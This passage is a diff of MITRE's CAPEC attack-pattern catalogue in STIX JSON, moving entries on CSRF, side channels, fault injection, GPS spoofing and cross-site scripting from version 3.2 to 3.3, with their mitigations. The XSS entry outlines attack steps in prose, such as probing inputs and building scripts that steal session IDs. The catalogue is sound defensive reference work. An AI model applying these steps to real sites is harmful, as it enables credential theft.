- "id": "relationship--3e4e7c46-5802-4623-bfb2-726d5643649a", "source_ref": "course-of-action--f8e25c6a-17e6-4418-8da8-1a56576657f3", "relationship_type": "mitigates", "target_ref": "attack-pattern--0939f361-ea31-454b-ae3d-4af2411b756d" }, { + "id": "course-of-action--d48ac0ea-9821-4d1d-b819-78cf36562e97", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-62-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Additionally, the user can also be prompted to confirm an action every time an action concerning potentially sensitive data is invoked. This way, even if the attacker manages to get the user to click on a malicious link and request the desired action, the user has a chance to recover by denying confirmation. This solution is also implicitly tied to using a second factor of authentication before performing such actions.", - "type": "course-of-action", - "id": "course-of-action--d48ac0ea-9821-4d1d-b819-78cf36562e97" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--5334f93e-090e-4dc7-9634-9cf8d617820f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5334f93e-090e-4dc7-9634-9cf8d617820f", "source_ref": "course-of-action--d48ac0ea-9821-4d1d-b819-78cf36562e97", "relationship_type": "mitigates", "target_ref": "attack-pattern--0939f361-ea31-454b-ae3d-4af2411b756d" }, { + "id": "course-of-action--77756b2a-ad30-4992-acdb-13c8dae467d8", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-62-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "In general, every request must be checked for the appropriate authentication token as well as authorization in the current session context.", - "type": "course-of-action", - "id": "course-of-action--77756b2a-ad30-4992-acdb-13c8dae467d8" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--e911413e-496d-4b6e-afff-88e8e3302abb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--e911413e-496d-4b6e-afff-88e8e3302abb", "source_ref": "course-of-action--77756b2a-ad30-4992-acdb-13c8dae467d8", "relationship_type": "mitigates", "target_ref": "attack-pattern--0939f361-ea31-454b-ae3d-4af2411b756d" }, { + "id": "attack-pattern--e680008c-a642-4feb-a1c4-a29b54eb284a", "name": "Drop Encryption Level", "description": "An attacker forces the encryption level to be lowered, thus enabling a successful attack against the encrypted data.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -38114,7 +41743,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -38135,11 +41764,11 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--e680008c-a642-4feb-a1c4-a29b54eb284a" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--1e333aaf-0029-41ab-b164-590851ff2e9a", "name": "Analysis of Packet Timing and Sizes", "description": "An attacker may intercept and log encrypted transmissions for the purpose of analyzing metadata such as packet timing and sizes. Although the actual data may be encrypted, this metadata may reveal valuable information to an attacker. Note that this attack is applicable to VOIP data as well as application data, especially for interactive apps that require precise timing and low-latency (e.g. thin-clients).", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -38174,11 +41803,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--1e333aaf-0029-41ab-b164-590851ff2e9a" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--3d82800d-a207-4cf5-8acb-34298fed624c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -38187,23 +41816,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Distort packet sizes and timing at VPN layer by adding padding to normalize packet sizes and timing delays to reduce information leakage via timing.", - "type": "course-of-action", - "id": "course-of-action--3d82800d-a207-4cf5-8acb-34298fed624c" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--ce899b44-526f-4892-80d2-510f96e94715", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ce899b44-526f-4892-80d2-510f96e94715", "source_ref": "course-of-action--3d82800d-a207-4cf5-8acb-34298fed624c", "relationship_type": "mitigates", "target_ref": "attack-pattern--1e333aaf-0029-41ab-b164-590851ff2e9a" }, { + "id": "attack-pattern--8a2c6c50-26ad-4f1a-a938-25293372f75a", "name": "Electromagnetic Side-Channel Attack", "description": "In this attack scenario, the attacker passively monitors electromagnetic emanations that are produced by the targeted electronic device as an unintentional side-effect of its processing. From these emanations, the attacker derives information about the data that is being processed (e.g. the attacker can recover cryptographic keys by monitoring emanations associated with cryptographic processing). This style of attack requires proximal access to the device, however attacks have been demonstrated at public conferences that work at distances of up to 10-15 feet. There have not been any significant studies to determine the maximum practical distance for such attacks. Since the attack is passive, it is nearly impossible to detect and the targeted device will continue to operate as normal after a successful attack.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -38238,11 +41869,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--8a2c6c50-26ad-4f1a-a938-25293372f75a" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--2e9301ad-e907-414c-9bac-0be1517b0112", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -38251,23 +41882,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Utilize side-channel resistant implementations of all crypto algorithms.", - "type": "course-of-action", - "id": "course-of-action--2e9301ad-e907-414c-9bac-0be1517b0112" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--518cf128-c5dd-41bf-920c-c59464ae3e89", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--518cf128-c5dd-41bf-920c-c59464ae3e89", "source_ref": "course-of-action--2e9301ad-e907-414c-9bac-0be1517b0112", "relationship_type": "mitigates", "target_ref": "attack-pattern--8a2c6c50-26ad-4f1a-a938-25293372f75a" }, { + "id": "course-of-action--076b471c-60c6-41a5-9266-e34cc546bfcd", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -38276,23 +41909,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Strong physical security of all devices that contain secret key information. (even when devices are not in use)", - "type": "course-of-action", - "id": "course-of-action--076b471c-60c6-41a5-9266-e34cc546bfcd" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--ef792ac3-e23f-463b-8456-e2cb9549a020", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ef792ac3-e23f-463b-8456-e2cb9549a020", "source_ref": "course-of-action--076b471c-60c6-41a5-9266-e34cc546bfcd", "relationship_type": "mitigates", "target_ref": "attack-pattern--8a2c6c50-26ad-4f1a-a938-25293372f75a" }, { + "id": "attack-pattern--3d5bbdf7-b642-43b4-b4be-d9f35923380d", "name": "Compromising Emanations Attack", "description": "Compromising Emanations (CE) are defined as unintentional signals which an attacker may intercept and analyze to disclose the information processed by the targeted equipment. Commercial mobile devices and retransmission devices have displays, buttons, microchips, and radios that emit mechanical emissions in the form of sound or vibrations. Capturing these emissions can help an adversary understand what the device is doing.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -38327,11 +41962,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--3d5bbdf7-b642-43b4-b4be-d9f35923380d" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--1f959357-f511-4f0e-9b12-51ee99284c2f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -38340,36 +41975,53 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "None are known.", - "type": "course-of-action", - "id": "course-of-action--1f959357-f511-4f0e-9b12-51ee99284c2f" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--2ad7be7d-7b09-4472-bc30-41894c39f568", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--2ad7be7d-7b09-4472-bc30-41894c39f568", "source_ref": "course-of-action--1f959357-f511-4f0e-9b12-51ee99284c2f", "relationship_type": "mitigates", "target_ref": "attack-pattern--3d5bbdf7-b642-43b4-b4be-d9f35923380d" }, { - "name": "Fault Injection", + "id": "attack-pattern--965d88fd-a632-4960-b4ba-7521878a0ba3", + "name": "Hardware Fault Injection", "description": "The adversary uses disruptive signals or events (e.g. electromagnetic pulses, laser pulses, clock glitches, etc.) to cause faulty behavior in electronic devices. When performed in a controlled manner on devices performing cryptographic operations, this faulty behavior can be exploited to derive secret key information.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/624.html", "external_id": "CAPEC-624" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1247.html", + "external_id": "CWE-1247" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1248.html", + "external_id": "CWE-1248" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1256.html", + "external_id": "CWE-1256" } ], "x_capec_alternate_terms": [ @@ -38389,9 +42041,9 @@ ], "x_capec_consequences": { "Confidentiality": [ - "Read Data (An adversary capable of successfully collecting and analyzing sensitive, fault/side-channel information, he or she has compromised the confidentiality of that application or information system data.)", - "Bypass Protection Mechanism (An adversary capable of successfully collecting and analyzing sensitive, fault/side-channel information, he or she has compromised the confidentiality of that application or information system data.)", - "Hide Activities (An adversary capable of successfully collecting and analyzing sensitive, fault/side-channel information, he or she has compromised the confidentiality of that application or information system data.)" + "Read Data (An adversary capable of successfully collecting and analyzing sensitive, fault/side-channel information, has compromised the confidentiality of that application or information system data.)", + "Bypass Protection Mechanism (An adversary capable of successfully collecting and analyzing sensitive, fault/side-channel information, has compromised the confidentiality of that application or information system data.)", + "Hide Activities (An adversary capable of successfully collecting and analyzing sensitive, fault/side-channel information, has compromised the confidentiality of that application or information system data.)" ], "Integrity": [ "Execute Unauthorized Commands (If an adversary is able to inject data via a fault or side channel vulnerability towards malicious ends, the integrity of the application or information system will be compromised.)" @@ -38399,36 +42051,38 @@ }, "x_capec_abstraction": "Meta", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--965d88fd-a632-4960-b4ba-7521878a0ba3" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--f6d53020-4245-4f4d-848b-e5ddf8d7db8e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-624-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implement robust physical security countermeasures and monitoring.", - "type": "course-of-action", - "id": "course-of-action--f6d53020-4245-4f4d-848b-e5ddf8d7db8e" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--92d3b28d-cca3-4d44-82ca-d1fce4083918", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--92d3b28d-cca3-4d44-82ca-d1fce4083918", "source_ref": "course-of-action--f6d53020-4245-4f4d-848b-e5ddf8d7db8e", "relationship_type": "mitigates", "target_ref": "attack-pattern--965d88fd-a632-4960-b4ba-7521878a0ba3" }, { + "id": "attack-pattern--48ba5f20-2888-4a0c-8cc6-28631533f255", "name": "Mobile Device Fault Injection", "description": "Fault injection attacks against mobile devices use disruptive signals or events (e.g. electromagnetic pulses, laser pulses, clock glitches, etc.) to cause faulty behavior. When performed in a controlled manner on devices performing cryptographic operations, this faulty behavior can be exploited to derive secret key information. Although this attack usually requires physical control of the mobile device, it is non-destructive, and the device can be used after the attack without any indication that secret keys were compromised.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -38457,24 +42111,25 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--48ba5f20-2888-4a0c-8cc6-28631533f255" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--224113f1-e834-46f3-9de8-b99b4daabd5a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--224113f1-e834-46f3-9de8-b99b4daabd5a", "source_ref": "course-of-action--076b471c-60c6-41a5-9266-e34cc546bfcd", "relationship_type": "mitigates", "target_ref": "attack-pattern--48ba5f20-2888-4a0c-8cc6-28631533f255" }, { + "id": "course-of-action--b219b8f8-c28d-470b-8031-48f247b21a37", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -38483,23 +42138,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Frequent changes to secret keys and certificates.", - "type": "course-of-action", - "id": "course-of-action--b219b8f8-c28d-470b-8031-48f247b21a37" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--11480983-629b-48d4-bb0d-9b7bede4d597", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--11480983-629b-48d4-bb0d-9b7bede4d597", "source_ref": "course-of-action--b219b8f8-c28d-470b-8031-48f247b21a37", "relationship_type": "mitigates", "target_ref": "attack-pattern--48ba5f20-2888-4a0c-8cc6-28631533f255" }, { + "id": "attack-pattern--0fda524b-2218-4aec-bf3e-6f345d13e459", "name": "Smudge Attack", "description": "Attacks that reveal the password/passcode pattern on a touchscreen device by detecting oil smudges left behind by the user\u2019s fingers.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -38528,11 +42185,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--0fda524b-2218-4aec-bf3e-6f345d13e459" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--03c24d78-8f14-4663-b2ab-fdbbdac190bb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -38541,23 +42198,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Strong physical security of the device.", - "type": "course-of-action", - "id": "course-of-action--03c24d78-8f14-4663-b2ab-fdbbdac190bb" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--1f1608da-3175-4247-965b-9dee8d21b05f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--1f1608da-3175-4247-965b-9dee8d21b05f", "source_ref": "course-of-action--03c24d78-8f14-4663-b2ab-fdbbdac190bb", "relationship_type": "mitigates", "target_ref": "attack-pattern--0fda524b-2218-4aec-bf3e-6f345d13e459" }, { + "id": "attack-pattern--2e1be870-6442-4978-9a30-46d518aa1f74", "name": "Counterfeit GPS Signals", "description": "An adversary attempts to deceive a GPS receiver by broadcasting counterfeit GPS signals, structured to resemble a set of normal GPS signals. These spoofed signals may be structured in such a way as to cause the receiver to estimate its position to be somewhere other than where it actually is, or to be located where it is but at a different time, as determined by the adversary.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -38591,11 +42250,11 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--2e1be870-6442-4978-9a30-46d518aa1f74" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--3b7a108f-f42f-42c7-99be-a16ec15ca0ff", "name": "Carry-Off GPS Attack", "description": "A common form of a GPS spoofing attack, commonly termed a carry-off attack begins with an adversary broadcasting signals synchronized with the genuine signals observed by the target receiver. The power of the counterfeit signals is then gradually increased and drawn away from the genuine signals. Over time, the adversary can carry the target away from their intended destination and toward a location chosen by the adversary.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -38630,11 +42289,11 @@ "A \"proof-of-concept\" attack was successfully performed in June, 2013, when the luxury yacht \"White Rose\" was misdirected with spoofed GPS signals from Monaco to the island of Rhodes by a group of aerospace engineering students from the Cockrell School of Engineering at the University of Texas in Austin. The students were aboard the yacht, allowing their spoofing equipment to gradually overpower the signal strengths of the actual GPS constellation satellites, altering the course of the yacht." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--3b7a108f-f42f-42c7-99be-a16ec15ca0ff" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--61baa525-b9a3-4474-98d9-7645906e4cc3", "name": "Unauthorized Use of Device Resources", "description": "An adversary that has previously obtained unauthorized access to certain device resources, uses that access to obtain information such as location and network information.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -38642,7 +42301,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -38655,11 +42314,11 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--61baa525-b9a3-4474-98d9-7645906e4cc3" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--70b83583-ffe3-4e6d-b4a6-61a9b9efc346", "name": "Cross-Site Scripting (XSS)", "description": "An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -38667,7 +42326,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -38719,116 +42378,125 @@ "x_capec_example_instances": [ "\n Classic phishing attacks lure users to click on content that appears trustworthy, such as logos, and links that seem to go to their trusted financial institutions and online auction sites. But instead the attacker appends malicious scripts into the otherwise innocent appearing resources. The HTML source for a standard phishing attack looks like this:\n maliciousscript\">Trusted Site\n When the user clicks the link, the appended script also executes on the local user's machine.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an attacker follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.

    2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe identified potential entry points for XSS vulnerability: The attacker uses the entry points gathered in the \"Explore\" phase as a target list and injects various common script payloads to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.

    2. Techniques
    Use a list of XSS probe strings to inject script in parameters of known URLs. If possible, the probe strings contain a unique identifier.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.
    Use a list of XSS probe strings to inject script into UI entry fields. If possible, the probe strings contain a unique identifier.
    Use a list of XSS probe strings to inject script into resources accessed by the application. If possible, the probe strings contain a unique identifier.

Exploit

  1. Steal session IDs, credentials, page content, etc.: As the attacker succeeds in exploiting the vulnerability, they can choose to steal user's credentials in order to reuse or to analyze them later on.

    2. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker.
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately.

  2. Forceful browsing: When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not).

    3. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities).

  3. Content spoofing: By manipulating the content, the attacker targets the information that the user would like to get from the website.

    4. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--70b83583-ffe3-4e6d-b4a6-61a9b9efc346" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--5b2e5df5-9856-4289-90c4-ecaa908f4206", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5b2e5df5-9856-4289-90c4-ecaa908f4206", "source_ref": "course-of-action--094a4c09-e49c-422b-b8ec-b51c19dba18c", "relationship_type": "mitigates", "target_ref": "attack-pattern--70b83583-ffe3-4e6d-b4a6-61a9b9efc346" }, { + "id": "relationship--9acc276d-8c69-42b8-af78-29193fa00cba", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9acc276d-8c69-42b8-af78-29193fa00cba", "source_ref": "course-of-action--040cd51a-446a-4612-a9d0-4a90119d5191", "relationship_type": "mitigates", "target_ref": "attack-pattern--70b83583-ffe3-4e6d-b4a6-61a9b9efc346" }, { + "id": "relationship--2f74ac5d-bb0a-4f7e-9601-cfc8bac01201", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--2f74ac5d-bb0a-4f7e-9601-cfc8bac01201", "source_ref": "course-of-action--97eb8eeb-5e17-4a04-803b-c4de40723fc9", "relationship_type": "mitigates", "target_ref": "attack-pattern--70b83583-ffe3-4e6d-b4a6-61a9b9efc346" }, { + "id": "relationship--dabf76e9-8f71-45cd-a775-c1d8040bd5a8", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--dabf76e9-8f71-45cd-a775-c1d8040bd5a8", "source_ref": "course-of-action--e9836d98-9116-4902-ba62-2c4fcc7e03c3", "relationship_type": "mitigates", "target_ref": "attack-pattern--70b83583-ffe3-4e6d-b4a6-61a9b9efc346" }, { + "id": "relationship--950d64aa-75ae-40ab-993f-9a539cc6ce36", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--950d64aa-75ae-40ab-993f-9a539cc6ce36", "source_ref": "course-of-action--8a996efc-52e0-4aaf-953a-21c3fe64c64b", "relationship_type": "mitigates", "target_ref": "attack-pattern--70b83583-ffe3-4e6d-b4a6-61a9b9efc346" }, { + "id": "relationship--e7f5d816-04cc-4ad5-823a-b420121bb86e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--e7f5d816-04cc-4ad5-823a-b420121bb86e", "source_ref": "course-of-action--4f20a4a7-cb6a-477b-a12a-13c5e9d03353", "relationship_type": "mitigates", "target_ref": "attack-pattern--70b83583-ffe3-4e6d-b4a6-61a9b9efc346" }, { + "id": "relationship--c6e23539-a2eb-4b8f-a47e-aac60fb3f876", "created_by_ref": 